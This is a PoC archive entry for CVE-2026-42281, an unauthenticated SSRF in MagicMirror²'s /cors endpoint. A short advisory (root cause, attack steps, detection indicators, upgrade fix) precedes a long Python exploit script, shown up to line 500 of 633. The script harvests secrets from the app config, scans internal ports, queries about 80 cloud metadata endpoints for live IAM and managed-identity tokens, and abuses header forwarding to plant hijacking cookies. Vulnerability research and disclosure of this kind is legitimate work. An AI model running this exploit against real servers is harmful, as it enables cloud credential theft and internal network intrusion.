PoC Archive PoC Archive
Critical CVE-2026-42281 patched

MagicMirror² Unauthenticated SSRF via `/cors` Endpoint (CVE-2026-42281)

by Astaruf (Lorenzo Anastasi) · 2026-07-05

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherAstaruf (Lorenzo Anastasi)
CVE / AdvisoryCVE-2026-42281
Categoryweb
SeverityCritical
CVSS Score9.2 (CVSSv4.0; AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
StatusPoC
Tagsssrf, unauthenticated, magicmirror, cloud-metadata, secrets-exfiltration, header-injection, open-proxy, python
RelatedN/A

Affected Target

FieldValue
Software / SystemMagicMirror²
Versions Affected≤ 2.35.0 (fixed in 2.36.0)
Language / PlatformNode.js web app (target); Python 3 stdlib-only (PoC)
Authentication RequiredNo
Network Access RequiredYes — HTTP access to the MagicMirror server (default port 8080)

Summary

MagicMirror²’s /cors endpoint is designed to proxy cross-origin requests on behalf of the browser, but it performs no validation or allowlisting of the target URL and forwards attacker-controlled headers in both directions. This turns the endpoint into a fully unauthenticated, open SSRF proxy that can reach loopback services, internal network hosts, and cloud instance-metadata endpoints. When hideConfigSecrets: true is set, the same endpoint can be abused to exfiltrate the full application configuration, including module secrets (API keys, tokens, passwords) stored in config.js.


Vulnerability Details

Root Cause

The /cors route accepts a url query parameter and issues an outbound HTTP request to it from the server, with no restriction on scheme, host, or destination network (no loopback/RFC1918/link-local blocklist or allowlist). It additionally supports sendheaders (inject arbitrary headers into the outbound request) and expectedheaders (forward arbitrary response headers, e.g. Set-Cookie, back to the browser as if they originated from the MagicMirror origin). This is a textbook CWE-918 Server-Side Request Forgery combined with header-smuggling behavior.

Attack Vector

  1. Send GET /cors?url=http://127.0.0.1:<port>/version to confirm the server will fetch an internal resource on the attacker’s behalf (--check).
  2. Request GET /cors?url=http://127.0.0.1:<port>/config to retrieve the full application config via SSRF loopback, then parse module configs for embedded secrets (--config).
  3. Point url at well-known cloud metadata addresses (e.g. 169.254.169.254 and equivalents for AWS/GCP/Azure/OCI/DigitalOcean/etc.) to harvest instance credentials (--cloud).
  4. Use the endpoint as a threaded internal port scanner by requesting arbitrary internal IP:port combinations (--port-scan).
  5. Abuse sendheaders/expectedheaders to inject outbound Authorization/custom headers and to forward attacker-controlled Set-Cookie values to the victim’s browser (--headers).
  6. Use /cors as a generic open proxy to reach arbitrary external URLs from the server’s network position (--open-proxy).

Impact

Full internal network reconnaissance and port scanning from the server’s vantage point, cloud IAM credential theft via metadata service SSRF, disclosure of module API keys/tokens/passwords, session/cookie hijacking of the victim’s browser via forwarded response headers, and use of the server as an open outbound proxy.


Environment / Lab Setup

Target: MagicMirror² <= 2.35.0 running on default port 8080
Client: Python 3 (standard library only, no extra dependencies)
Note:   When testing via Docker, map the host port to match the
        in-container port (e.g. 8080:8080) so the loopback SSRF target
        resolves correctly from inside the container.

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
4
5
6
python3 poc.py -t http://target:8080 --check
python3 poc.py -t http://target:8080 --config
python3 poc.py -t http://target:8080 --cloud
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
python3 poc.py -t http://target:8080 --headers
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

Each mode demonstrates a distinct SSRF impact: confirming the vulnerability via loopback fetch, exfiltrating config/secrets, probing 10+ cloud metadata providers, scanning internal hosts/ports, abusing header injection/forwarding, and using the server as a generic proxy.


Detection & Indicators of Compromise

- Server-side access logs showing requests to /cors?url=... targeting
  127.0.0.1, RFC1918 ranges, or 169.254.169.254 (cloud metadata).
- Outbound HTTP connections from the MagicMirror host to internal IPs
  or the metadata service that do not correspond to legitimate module
  functionality.
- Unusual Set-Cookie values in browser sessions traceable back to
  /cors responses.

Signs of compromise:

  • Evidence of cloud metadata endpoint access (e.g. AWS IAM role enumeration) originating from the MagicMirror instance.
  • Leaked API keys/tokens later observed in use from unexpected sources.
  • Anomalous internal port-scan-like traffic patterns from the MagicMirror host.

Remediation

ActionDetail
Primary fixUpgrade to MagicMirror² v2.36.0 or later (fix shipped across 6 PRs restricting /cors destinations and header forwarding)
Interim mitigationDisable or firewall the /cors endpoint until patched; if module secrets are configured, avoid hideConfigSecrets: true reliance and rotate any exposed keys/tokens

References


Notes

Mirrored from https://github.com/Astaruf/CVE-2026-42281 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3

import sys
import json
import argparse
import urllib.request
import urllib.error
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed

R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
C = "\033[96m"; B = "\033[1m";  X = "\033[0m"
W = "\033[97m"

BANNER = f"""{W}{B}
 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝
{X}
  {Y}MagicMirror² <= v2.35.0 — Unauthenticated SSRF via /cors endpoint{X}
  {Y}Author: Astaruf | https://nstsec.com{X}
"""

SERVICES = {
    21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS",
    80: "HTTP", 443: "HTTPS", 1433: "MSSQL", 2375: "Docker API (!)",
    2376: "Docker TLS API (!)", 3000: "Grafana/Node", 3306: "MySQL",
    4243: "Docker", 5000: "Flask/Registry", 5432: "PostgreSQL",
    5672: "RabbitMQ", 6379: "Redis (!)", 7001: "WebLogic",
    8000: "HTTP-alt", 8080: "HTTP-alt", 8443: "HTTPS-alt",
    8888: "Jupyter (!)", 9000: "Portainer/PHP-FPM", 9090: "Prometheus",
    9200: "Elasticsearch (!)", 9300: "Elasticsearch", 27017: "MongoDB (!)"
}

DEFAULT_PORTS = sorted(SERVICES.keys())


def ssrf_fetch(proxy_base, url, inject_headers=None, timeout=2.0):
    endpoint = f"{proxy_base}?url={url}"
    if inject_headers:
        h = ",".join(f"{k}:{urllib.parse.quote(str(v))}" for k, v in inject_headers.items())
        endpoint = f"{proxy_base}?sendheaders={h}&url={url}"
    try:
        with urllib.request.urlopen(endpoint, timeout=timeout) as r:
            body = r.read().decode("utf-8", errors="replace")
            try:
                if "error" in json.loads(body):
                    return None, None
            except Exception:
                pass
            return r.status, body
    except urllib.error.HTTPError as e:
        return e.code, None
    except Exception:
        return None, None


def section(title):
    print(f"\n{B}{C}  {title}{X}")

def hit(msg):    print(f"  {G}{B}[+]{X} {msg}")
def info(msg):   print(f"  {C}[*]{X} {msg}")
def warn(msg):   print(f"  {Y}[!]{X} {msg}")
def fail(msg):   print(f"  {R}[-]{X} {msg}")
def req(url):    print(f"      {Y}>> GET {url}{X}")
def resp(body):  print(f"      {G}<< {body[:120].strip()}{X}")


def _get_proxy(args):
    return f"{args.scheme}://{args.host}:{args.port}/cors"


def _inline_check(proxy, args):
    base = f"{args.scheme}://{args.host}:{args.port}"
    info("Verifying target reachability ...")
    try:
        with urllib.request.urlopen(f"{base}/version", timeout=3) as r:
            version = r.read().decode().strip()
        hit(f"Target reachable, MagicMirror {B}{version}{X}")
    except Exception as e:
        fail(f"Cannot reach target: {e}")
        sys.exit(1)

    loopback = f"http://127.0.0.1:{args.port}/version"
    info("Confirming SSRF via loopback ...")
    req(f"{args.base}/cors?url={loopback}")
    status, body = ssrf_fetch(proxy, loopback, timeout=3)
    if body and body.strip():
        hit(f"SSRF {B}{R}CONFIRMED{X}, server fetched internal resource on our behalf")
        resp(body.strip())
    else:
        fail("SSRF not exploitable, endpoint may be patched or unreachable")
        sys.exit(1)


def check(args):
    section("CHECK, Target reachability and SSRF confirmation")
    proxy = _get_proxy(args)
    _inline_check(proxy, args)
    return proxy


def exfil_config(proxy, args):
    section("CONFIG EXFILTRATION, Full config via SSRF loopback")
    _inline_check(proxy, args)

    url = f"http://127.0.0.1:{args.port}/config"
    info("Fetching /config through the SSRF proxy ...")
    req(f"{args.base}/cors?url={url}")
    _, body = ssrf_fetch(proxy, url)

    if not body:
        warn("Could not retrieve config")
        return

    try:
        cfg = json.loads(body)
    except Exception:
        warn("Response is not valid JSON")
        return

    hit(f"Config retrieved, {len(body)} bytes")
    info(f"address    : {cfg.get('address')}")
    info(f"port       : {cfg.get('port')}")
    whitelist = cfg.get("ipWhitelist", [])
    info(f"ipWhitelist: {whitelist if whitelist else f'{R}{B}[] open to all IPs{X}'}")

    secrets = []
    for mod in cfg.get("modules", []):
        name = mod.get("module", "?")
        conf = mod.get("config", {})
        _hunt(name, conf, secrets)

    if secrets:
        print(f"\n  {R}{B}SECRETS FOUND:{X}")
        for module, key, val in secrets:
            print(f"    {B}[{module}]{X} {key} = {R}{B}{val}{X}")
    else:
        warn("No secrets in default config (add weather/calendar API keys to see them)")

    if args.verbose:
        print(f"\n{C}{json.dumps(cfg, indent=2)}{X}")


def _hunt(name, obj, out, path=""):
    if not isinstance(obj, dict):
        return
    keywords = {"key", "token", "secret", "password", "pass", "apikey", "auth", "credential"}
    for k, v in obj.items():
        full = f"{path}.{k}" if path else k
        if any(kw in k.lower() for kw in keywords) and isinstance(v, (str, int)) and v:
            out.append((name, full, v))
        elif isinstance(v, dict):
            _hunt(name, v, out, full)
        elif isinstance(v, list):
            for i, item in enumerate(v):
                _hunt(name, item, out, f"{full}[{i}]")


def port_scan(proxy, args):
    section("PORT SCAN, Internal network enumeration via SSRF")
    _inline_check(proxy, args)

    hosts = [h.strip() for h in args.port_scan.split(",")]
    ports = _parse_ports(args.ports)
    port_label = "all 65535" if args.ports == "-" else str(len(ports))
    total = len(hosts) * len(ports)
    info(f"Scanning {len(hosts)} host(s) x {port_label} port(s) = {total} probes  [threads={args.threads}]")
    info(f"Hosts : {', '.join(hosts)}")
    info(f"Ports : {port_label}")

    tasks = [(h, p) for h in hosts for p in ports]
    open_ports = []

    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {ex.submit(_probe, proxy, h, p, args.timeout): (h, p) for h, p in tasks}
        for fut in as_completed(futures):
            result = fut.result()
            if result:
                open_ports.append(result)
                h, p, snippet = result
                svc = SERVICES.get(p, "unknown")
                marker = f"{R}{B}(!){X}" if p in (2375, 6379, 8888, 9200, 27017) else ""
                print(f"  {G}{B}OPEN{X}  {B}{h}:{p}{X}  [{svc}] {marker}  {snippet[:60]}")

    print()
    if open_ports:
        hit(f"{len(open_ports)} open port(s) found across {len(hosts)} host(s)")
    else:
        warn("No open ports found (isolated environment or all filtered)")


def _probe(proxy, host, port, timeout):
    _, body = ssrf_fetch(proxy, f"http://{host}:{port}/", timeout=timeout)
    if body is not None:
        return (host, port, body.replace("\n", " ").strip())
    return None


def _parse_ports(spec):
    if spec.strip() == "-":
        return list(range(0, 65536))
    ports = []
    for part in spec.split(","):
        part = part.strip()
        if "-" in part:
            a, b = part.split("-", 1)
            ports.extend(range(int(a), int(b) + 1))
        else:
            ports.append(int(part))
    return sorted(set(ports))


def header_injection(proxy, args):
    section("HEADER INJECTION, Outbound and inbound header abuse")
    _inline_check(proxy, args)

    info("Part A: injecting arbitrary headers into outbound requests via sendheaders")
    info("Using a public echo service to confirm the headers are sent by the server.\n")

    injected = {"X-Injected-By": "SSRF-PoC", "Authorization": "Bearer DEMO_TOKEN"}
    url = "https://httpbin.org/headers"
    req(f"{args.base}/cors?sendheaders=X-Injected-By:SSRF-PoC,Authorization:Bearer%20DEMO_TOKEN&url={url}")
    _, body = ssrf_fetch(proxy, url, inject_headers=injected, timeout=5)

    if body:
        try:
            data = json.loads(body)
            seen = data.get("headers", {})
            for k in injected:
                if k in seen:
                    hit(f"Header {B}{k}: {seen[k]}{X} confirmed in outbound request")
                else:
                    warn(f"Header {k} not found in echo response")
        except Exception:
            hit(f"Response received ({len(body)} bytes), headers likely injected")
            resp(body)
    else:
        warn("Could not reach echo service (no internet access?)")

    print()
    info("Part B: forwarding response headers to the browser via expectedheaders")
    info("A malicious server can inject Set-Cookie to hijack sessions.\n")

    cookie_url = "https://httpbin.org/response-headers?Set-Cookie=session%3Dhijacked%3BHttpOnly"
    full_url = f"{args.scheme}://{args.host}:{args.port}/cors?expectedheaders=Set-Cookie&url={cookie_url}"
    req(f"{args.base}/cors?expectedheaders=Set-Cookie&url={cookie_url}")

    try:
        with urllib.request.urlopen(full_url, timeout=5) as r:
            cookie_header = r.headers.get("Set-Cookie")
            if cookie_header:
                hit(f"Response header {B}Set-Cookie{X} forwarded to browser: {R}{B}{cookie_header}{X}")
                hit("Browser receives this cookie as if it originated from the MagicMirror domain")
            else:
                warn("Set-Cookie not found in forwarded headers")
    except Exception as e:
        warn(f"Could not test response header forwarding: {e}")


def cloud_metadata(proxy, args):
    section("CLOUD METADATA, Instance credential and identity theft via SSRF")
    _inline_check(proxy, args)

    PAYLOADS = [
        ("AWS",  "http://169.254.169.254/latest/meta-data/",
         None, "Root metadata index", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/instance-id",
         None, "Instance ID", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/ami-id",
         None, "AMI ID", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/local-hostname",
         None, "Internal hostname", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/local-ipv4",
         None, "Private IP", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/public-ipv4",
         None, "Public IP", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/public-hostname",
         None, "Public hostname", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/placement/region",
         None, "Region", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/placement/availability-zone",
         None, "Availability zone", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/security-groups",
         None, "Security groups", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/iam/info",
         None, "IAM instance profile info", False),
        ("AWS",  "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
         None, "IAM role names (enumerate first, then fetch each role)", True),
        ("AWS",  "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/",
         None, "EC2 instance base credentials (used by SSM/CloudWatch agents, distinct from IAM role)", True),
        ("AWS",  "http://169.254.169.254/latest/user-data",
         None, "User-data script (often contains secrets and bootstrap tokens)", True),
        ("AWS",  "http://169.254.169.254/latest/dynamic/instance-identity/document",
         None, "Instance identity document (signed JSON, account ID, region, etc.)", False),
        ("AWS",  "http://169.254.169.254/latest/dynamic/instance-identity/signature",
         None, "Instance identity signature", False),
        ("AWS",  "http://169.254.169.254/latest/api/token",
         None, "IMDSv2 token endpoint (PUT only, 405 confirms IMDSv2 enforced)", False),
        ("AWS/ECS", "http://169.254.170.2/v2/credentials",
         None, "ECS task IAM credentials (if AWS_CONTAINER_CREDENTIALS_RELATIVE_URI is set)", True),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/",
         {"Metadata-Flavor": "Google"}, "Root metadata index", False),
        ("GCP",  "http://169.254.169.254/computeMetadata/v1/",
         {"Metadata-Flavor": "Google"}, "Root metadata (IP fallback)", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/project/project-id",
         {"Metadata-Flavor": "Google"}, "GCP project ID", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id",
         {"Metadata-Flavor": "Google"}, "GCP numeric project ID", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/name",
         {"Metadata-Flavor": "Google"}, "VM instance name", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/zone",
         {"Metadata-Flavor": "Google"}, "Instance zone", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/hostname",
         {"Metadata-Flavor": "Google"}, "Instance hostname", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip",
         {"Metadata-Flavor": "Google"}, "External IP", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/",
         {"Metadata-Flavor": "Google"}, "Service account list", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email",
         {"Metadata-Flavor": "Google"}, "Default service account email", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes",
         {"Metadata-Flavor": "Google"}, "Default service account OAuth2 scopes", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
         {"Metadata-Flavor": "Google"}, "OAuth2 access token (LIVE credential)", True),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/",
         {"Metadata-Flavor": "Google"}, "Instance custom attributes (may contain secrets)", True),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys",
         {"Metadata-Flavor": "Google"}, "SSH public keys configured on the instance", False),
        ("GCP",  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script",
         {"Metadata-Flavor": "Google"}, "Startup script (often contains secrets)", True),
        ("Azure", "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
         {"Metadata": "true"}, "Full instance metadata (JSON)", False),
        ("Azure", "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01",
         {"Metadata": "true"}, "Compute metadata (subscription, resource group, VM name)", False),
        ("Azure", "http://169.254.169.254/metadata/instance/compute/subscriptionId?api-version=2021-02-01&format=text",
         {"Metadata": "true"}, "Azure subscription ID", False),
        ("Azure", "http://169.254.169.254/metadata/instance/compute/resourceGroupName?api-version=2021-02-01&format=text",
         {"Metadata": "true"}, "Resource group name", False),
        ("Azure", "http://169.254.169.254/metadata/instance/compute/vmId?api-version=2021-02-01&format=text",
         {"Metadata": "true"}, "VM unique ID", False),
        ("Azure", "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/privateIpAddress?api-version=2021-02-01&format=text",
         {"Metadata": "true"}, "Private IP address", False),
        ("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
         {"Metadata": "true"}, "Managed Identity access token for Azure Resource Manager (LIVE credential)", True),
        ("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net",
         {"Metadata": "true"}, "Managed Identity token for Azure Key Vault (LIVE credential)", True),
        ("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/",
         {"Metadata": "true"}, "Managed Identity token for Azure Storage (LIVE credential)", True),
        ("Azure", "http://169.254.169.254/metadata/attested/document?api-version=2020-09-01",
         {"Metadata": "true"}, "Attested data and instance identity document", False),
        ("OCI",  "http://169.254.169.254/opc/v1/instance/",
         None, "OCI instance metadata (v1, no auth)", False),
        ("OCI",  "http://169.254.169.254/opc/v1/instance/id",
         None, "OCI instance OCID", False),
        ("OCI",  "http://169.254.169.254/opc/v1/instance/region",
         None, "OCI region identifier", False),
        ("OCI",  "http://169.254.169.254/opc/v1/instance/metadata/",
         None, "OCI user-defined metadata", True),
        ("OCI",  "http://169.254.169.254/opc/v2/instance/",
         {"Authorization": "Bearer Oracle"}, "OCI instance metadata (v2, requires header)", False),
        ("OCI",  "http://169.254.169.254/opc/v1/identity/cert.pem",
         None, "OCI instance certificate", False),
        ("OCI",  "http://169.254.169.254/opc/v1/identity/key.pem",
         None, "OCI instance private key (!)", True),
        ("DigitalOcean", "http://169.254.169.254/metadata/v1/",
         None, "Root metadata", False),
        ("DigitalOcean", "http://169.254.169.254/metadata/v1/id",
         None, "Droplet ID", False),
        ("DigitalOcean", "http://169.254.169.254/metadata/v1/hostname",
         None, "Hostname", False),
        ("DigitalOcean", "http://169.254.169.254/metadata/v1/region",
         None, "Region slug", False),
        ("DigitalOcean", "http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address",
         None, "Public IPv4", False),
        ("DigitalOcean", "http://169.254.169.254/metadata/v1/user-data",
         None, "User-data (often contains secrets)", True),
        ("Alibaba", "http://100.100.100.200/latest/meta-data/",
         None, "Root metadata index (different IP, 100.100.100.200)", False),
        ("Alibaba", "http://100.100.100.200/latest/meta-data/instance-id",
         None, "ECS instance ID", False),
        ("Alibaba", "http://100.100.100.200/latest/meta-data/hostname",
         None, "Hostname", False),
        ("Alibaba", "http://100.100.100.200/latest/meta-data/region-id",
         None, "Region", False),
        ("Alibaba", "http://100.100.100.200/latest/meta-data/ram/security-credentials/",
         None, "RAM role names (then fetch each for STS credentials)", True),
        ("Alibaba", "http://100.100.100.200/latest/user-data",
         None, "User-data script", True),
        ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata",
         None, "Full metadata (YAML)", False),
        ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/instance-id",
         None, "Instance ID", False),
        ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/hostname",
         None, "Hostname", False),
        ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/region",
         None, "Region", False),
        ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/user-data",
         None, "User-data", True),
        ("IBM",  "http://169.254.169.254/metadata/v1/instance",
         {"Metadata-Flavor": "ibm"}, "IBM VPC instance metadata", False),
        ("IBM",  "http://169.254.169.254/latest/meta-data/instance-id",
         None, "IBM Classic instance ID (AWS-compatible endpoint)", False),
        ("K8s",  "https://kubernetes.default.svc/api/v1/secrets",
         None, "Kubernetes secrets (requires in-cluster service account token)", True),
        ("K8s",  "https://kubernetes.default.svc/api/v1/namespaces/default/secrets",
         None, "K8s secrets in default namespace", True),
        ("K8s",  "http://127.0.0.1:10255/pods",
         None, "Kubelet read-only API, running pods list (no auth)", False),
        ("K8s",  "http://127.0.0.1:10255/stats/summary",
         None, "Kubelet read-only stats", False),
        ("K8s",  "http://127.0.0.1:8001/api/v1/secrets",
         None, "kubectl proxy (if running on localhost)", True),
        ("K8s",  "http://127.0.0.1:2376/containers/json",
         None, "Docker API, container list (if socket is TCP)", False),
        ("Rancher", "http://169.254.169.254/2009-04-04/meta-data/",
         None, "Rancher metadata (AWS-compatible endpoint)", False),
        ("Rancher", "http://rancher-metadata/2015-12-19/",
         None, "Rancher metadata service (hostname resolution)", False),
        ("Equinix", "https://metadata.platformequinix.com/metadata",
         {"X-Metadata-Token": "fake"}, "Equinix Metal metadata (returns 401/200 to confirm service)", False),
    ]

    providers_hit  = {}
    aws_role_found = None

    for provider, url, headers, desc, sensitive in PAYLOADS:
        status, body = ssrf_fetch(proxy, url, inject_headers=headers, timeout=args.timeout)
        label  = f"[{provider}]"
        prefix = f"  {B}{C}{label:<14}{X}"

        if body and body.strip():
            snippet = body.strip().replace("\n", " ")
            display = (
                f"{R}{B}*** REDACTED, use --verbose to print ***{X}"
                if sensitive and not args.verbose
                else snippet[:120]
            )
            print(f"{prefix} {G}{B}HIT{X}  {desc}")
            print(f"         {Y}>>{X} {url}")
            print(f"         {G}<<{X} {display}")
            providers_hit.setdefault(provider, []).append((url, desc, body))

            if provider == "AWS" and "security-credentials/" in url and body.strip():
                role = body.strip().splitlines()[0]
                if role and "/" not in role:
                    aws_role_found = role
        else:
            if args.verbose:
                print(f"{prefix} {R}miss{X}  {desc}, {url}")

    if aws_role_found:
        cred_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{aws_role_found}"
        info(f"Auto-following IAM role: {B}{aws_role_found}{X}")
        req(f"{args.base}/cors?url={cred_url}")
        _, cred_body = ssrf_fetch(proxy, cred_url, timeout=args.timeout)
        if cred_body:
            try:
                creds = json.loads(cred_body)
                print(f"\n  {R}{B}AWS TEMPORARY CREDENTIALS RETRIEVED:{X}")
                for k in ("AccessKeyId", "SecretAccessKey", "Token", "Expiration"):
                    if k in creds:
                        print(f"    {B}{k:<20}{X} {R}{B}{creds[k]}{X}")
            except Exception:
                resp(cred_body)

    print()
    if providers_hit:
        hit(f"Cloud metadata reachable on {len(providers_hit)} provider(s): "
            f"{', '.join(providers_hit.keys())}")
        for provider, results in providers_hit.items():
            sensitive_hits = [(u, d, b) for u, d, b in results
                              if any(kw in d.lower() for kw in
                                     ("token", "credential", "secret", "key", "password",
                                      "user-data", "startup", "pem"))]
            if sensitive_hits:
                print(f"\n  {R}{B}HIGH-VALUE ENDPOINTS ({provider}):{X}")
                for u, d, b in sensitive_hits:
                    print(f"    {B}{d}{X}")
                    print(f"      {Y}>> {u}{X}")
                    if args.verbose:
                        print(f"      {G}<< {b.strip()[:200]}{X}")
    else:
        warn("No cloud metadata endpoints responded, likely not a cloud instance "
             "(or metadata service is firewalled)")
        info("Tip: on Raspberry Pi and bare-metal deployments this is expected")


def open_proxy(proxy, args):
    section(f"OPEN PROXY, Fetching {args.open_proxy_url} via vulnerable server")
    _inline_check(proxy, args)

    info(f"Asking the server to fetch: {args.open_proxy_url}")
    req(f"{args.base}/cors?url={args.open_proxy_url}")
    status, body = ssrf_fetch(proxy, args.open_proxy_url, timeout=args.timeout)

    if body is None:
Showing 500 of 633 lines View full file on GitHub →